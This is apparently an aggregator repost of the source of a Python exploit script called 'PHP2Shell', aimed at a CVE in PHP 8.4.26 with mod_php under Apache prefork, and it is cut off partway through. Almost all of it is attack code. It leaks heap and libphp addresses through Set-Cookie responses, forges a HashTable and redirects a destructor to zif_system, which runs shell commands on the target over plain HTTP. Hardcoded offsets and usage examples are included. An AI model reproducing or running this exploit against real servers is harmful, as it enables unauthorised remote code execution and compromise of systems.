
PHP2Shell (CVE-2026-109618) Exploit
Exploit credited to 9bie, adjusted using AI by OffSec
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
#!/usr/bin/env python3 """ Exploit credited to 9bie, adjusted using AI by OffSec php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.
Default profile: official php:8.4.26-apache image (Apache 2.4.69). Lab build (Apache 2.4.68, minimal PHP): use --profile lab.
Chain (all attacker traffic is plain HTTP): stage 0 HTTP worker rotation stage 1 Set-Cookie heap leak -> Zend MM chunk base stage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR) stage 3 upload_progress fake-ref -> pDestructor = zif_system
Requirements on the target (the shipped docker/ setup matches these settings): display_errors=1, memory_limit=8M, max_input_vars=1000, session.use_cookies=1, session.use_strict_mode=0, session.upload_progress.enabled=1, single-worker prefork.
Usage: python3 exploit.py -u http://127.0.0.1:8088/index.php python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1 python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes. For a longer command, chain it
through a short shell trigger, e.g. sh</out/c (8 bytes).
"""
from future import annotations
import argparse import os import re import socket import ssl import struct import subprocess import threading import sys import time import urllib.parse from collections import Counter
Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).
They are relative to the libphp.so / Zend MM chunk base, so they do not
depend on ASLR. Rebuilds can shift them; pass --zif-offset/--dtor-offset.
ZIF_OFFSET = 0x43A870 # zif_system DTOR_OFFSET = 0x613C50 # ZVAL_PTR_DTOR (zval_ptr_dtor) HTDATA_OFFSET = 0x6E0D8 # live 167-byte string used as fake HashTable MAX_CMD = 14 # 167-byte carrier - 0x98 header - NUL
bookworm (official php:8.4.26-apache) calibration, measured on the image
BOOKWORM_STAGE1_N = 841 BOOKWORM_STAGE2_T = 406 BOOKWORM_STAGE2_V = 16 BOOKWORM_HTDATA_OFFSET = 0x690D8 BOOKWORM_STAGE3_PADS = [(31, 31)] * 6
SID = b"attacksessionid0001" DEFAULT_CMD = "id>/out/p1" _HERE = os.path.dirname(os.path.abspath(file)) DEFAULT_PROOF = os.path.join(_HERE, "out", "p1") DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")
def build_multipart(parts, boundary: bytes) -> bytes: out = bytearray() for p in parts: name = p["name"].encode() out += b"--" + boundary + b"\r\n" out += b'Content-Disposition: form-data; name="' + name + b'"' if p.get("filename") is not None: out += b'; filename="' + p["filename"].encode() + b'"' out += b"\r\nContent-Type: application/octet-stream" out += b"\r\n\r\n" + p["data"] + b"\r\n" out += b"--" + boundary + b"--\r\n" return bytes(out)
def read_offsets_file(path: str) -> dict[str, int]: """Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py.""" vals: dict[str, int] = {} if not path: return vals try: with open(path, "r", encoding="utf-8") as f: for line in f: line = line.strip() if not line or line.startswith("#") or "=" not in line: continue key, val = line.split("=", 1) vals[key.strip()] = int(val.strip(), 0) except (OSError, ValueError): pass return vals
class Target: def init(self, url: str, timeout: float = 30.0, verbose: bool = True): u = urllib.parse.urlsplit(url) if u.scheme not in ("http", "https"): raise ValueError("URL must be http:// or https://") self.https = u.scheme == "https" self.host = u.hostname or "127.0.0.1" self.port = u.port or (443 if self.https else 80) self.path = u.path or "/" self.timeout = timeout self.verbose = verbose
def log(self, msg: str) -> None: if self.verbose: print(msg, flush=True)
def _connect(self): last = None for _ in range(10): try: s = socket.create_connection((self.host, self.port), timeout=self.timeout) if self.https: ctx = ssl.create_default_context() s = ctx.wrap_socket(s, server_hostname=self.host) try: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) except OSError: pass return s except OSError as e: last = e time.sleep(0.3) raise last # type: ignore[misc]
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20, timeout: float | None = None, extra_headers: dict[str, str] | None = None) -> bytes: extra = "" for k, v in (extra_headers or {}).items(): extra += f"{k}: {v}\r\n" hdr = ( f"POST {self.path} HTTP/1.1\r\n" f"Host: {self.host}:{self.port}\r\n" f"{extra}" f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n" f"Content-Length: {len(body)}\r\n" "Connection: close\r\n" "\r\n" ).encode() s = self._connect() s.settimeout(timeout or self.timeout)
Read concurrently with the upload: some exploit requests make the
worker abort right after sending Set-Cookie, and a recv() that starts
after the RST loses the already-buffered response.
data = bytearray()
def _reader() -> None: try: while len(data) < read_cap: chunk = s.recv(65536) if not chunk: break data.extend(chunk) except OSError: pass
reader = threading.Thread(target=_reader, daemon=True) reader.start() try: try: s.sendall(hdr) mv = memoryview(body) for off in range(0, len(body), 262144): s.sendall(mv[off:off + 262144]) except OSError: pass # the worker may abort while the body is still in flight reader.join(timeout=(timeout or self.timeout) + 1.0) return bytes(data) finally: s.close()
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]: hdr = ( f"GET {path} HTTP/1.1\r\n" f"Host: {self.host}:{self.port}\r\n" "Connection: close\r\n" "\r\n" ).encode() s = self._connect() s.settimeout(self.timeout) try: s.sendall(hdr) data = bytearray() try: while len(data) < read_cap: chunk = s.recv(65536) if not chunk: break data += chunk except OSError: pass finally: s.close() head, _, body = bytes(data).partition(b"\r\n\r\n") m = re.match(rb"HTTP/1.[01] (\d{3})", head) return (int(m.group(1)) if m else 0), body
def parse_cookie(resp: bytes) -> bytes: m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp) if not m: return b"" return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))
def chunk_base_from_cookie(raw: bytes) -> int: """Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie.""" if len(raw) < 1000: return 0 c: Counter[int] = Counter() for i in range(len(raw) - 8): v = int.from_bytes(raw[i:i + 8], "little") if 0x7F0000000000 <= v < 0x800000000000: c[v & ~0x1FFFFF] += 1 if not c: return 0 base, count = c.most_common(1)[0] return base if count >= 8 else 0
def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int: """Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.
The page-aligned check is 4KB, not 2MB: the lab build happened to map libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it at a 4KB boundary (e.g. base 0x...acdb000). """ if len(raw) < 16: return 0 p = int.from_bytes(raw[8:16], "little") if not (0x7F0000000000 <= p < 0x800000000000): return 0 if p & 0xFFF != dtor_offset & 0xFFF: return 0 base = p - dtor_offset return base if base & 0xFFF == 0 else 0
class Exploit: def init(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET, dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET, huge_mb: int = 12, verbose: bool = True, profile: str = "lab"): self.t = target self.cmd = cmd.encode() self.zif_offset = zif_offset self.dtor_offset = dtor_offset self.htdata_offset = htdata_offset self.huge_mb = huge_mb self.verbose = verbose self.profile = profile if profile == "bookworm":
official php:8.4.26-apache (Debian 12, Apache 2.4.69)
self.stage1_n = BOOKWORM_STAGE1_N self.stage2_t = BOOKWORM_STAGE2_T self.stage2_v = BOOKWORM_STAGE2_V self.stage3_pads = list(BOOKWORM_STAGE3_PADS) self.stage3_carrier = True else: self.stage1_n = 892 self.stage2_t = 443 self.stage2_v = 1 self.stage3_pads = [(8, 7)] + [(7, 7)] * 5 self.stage3_carrier = False
---------- request primitives (shapes match tools/*.py) ----------
def _big_field(self) -> dict: return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
def _file_part(self) -> dict: return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
def rotate(self) -> None: """Abort the current worker over HTTP; prefork forks a fresh one.""" self.t.log("[*] rotating worker over HTTP") parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.3)
Session-initializing B with no file part: pre-RINIT cleanup walks the
corrupted heap and the child aborts.
parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345", read_cap=65536, timeout=20.0) time.sleep(0.5)
def stage1(self) -> int: """Leak the Zend MM chunk base.""" parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.2)
parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] for i in range(self.stage1_n): val = (f"v{i:04d}" + "x" * 44)[:48] parts.append({"name": str(1000 + i), "data": val.encode()}) forge = bytearray(b"A" * 79) struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string len forge[0x18] = ord("L") parts.append({"name": "1999", "data": bytes(forge)})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10, read_cap=9 << 20) return chunk_base_from_cookie(parse_cookie(resp))
def stage2(self) -> int: """Leak libphp base through a 56-byte HashTable page.""" parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)] parts += [ {"name": "PHPSESSID", "data": b"\x00"}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, self._file_part(), self._big_field(), ] self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17, read_cap=1 << 20, timeout=max(90.0, self.t.timeout)) time.sleep(0.2)
parts = [ {"name": "PHPSESSID", "data": SID}, {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}, ] for i in range(983): cnt = 16 if i == self.stage2_t else 1 for j in range(cnt): parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10, read_cap=1 << 20) return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]: cmd = self.cmd if len(cmd) > MAX_CMD: raise ValueError( f"command is {len(cmd)} bytes; the 167-byte carrier allows at most " f"{MAX_CMD} (e.g. use 'sh</out/c')" ) ht = bytearray(b"\x00" * 167)
fake HashTable
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAY struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask struct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arData struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElements struct.pack_into("<II", ht, 0x20, 8, 0) # nTable
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。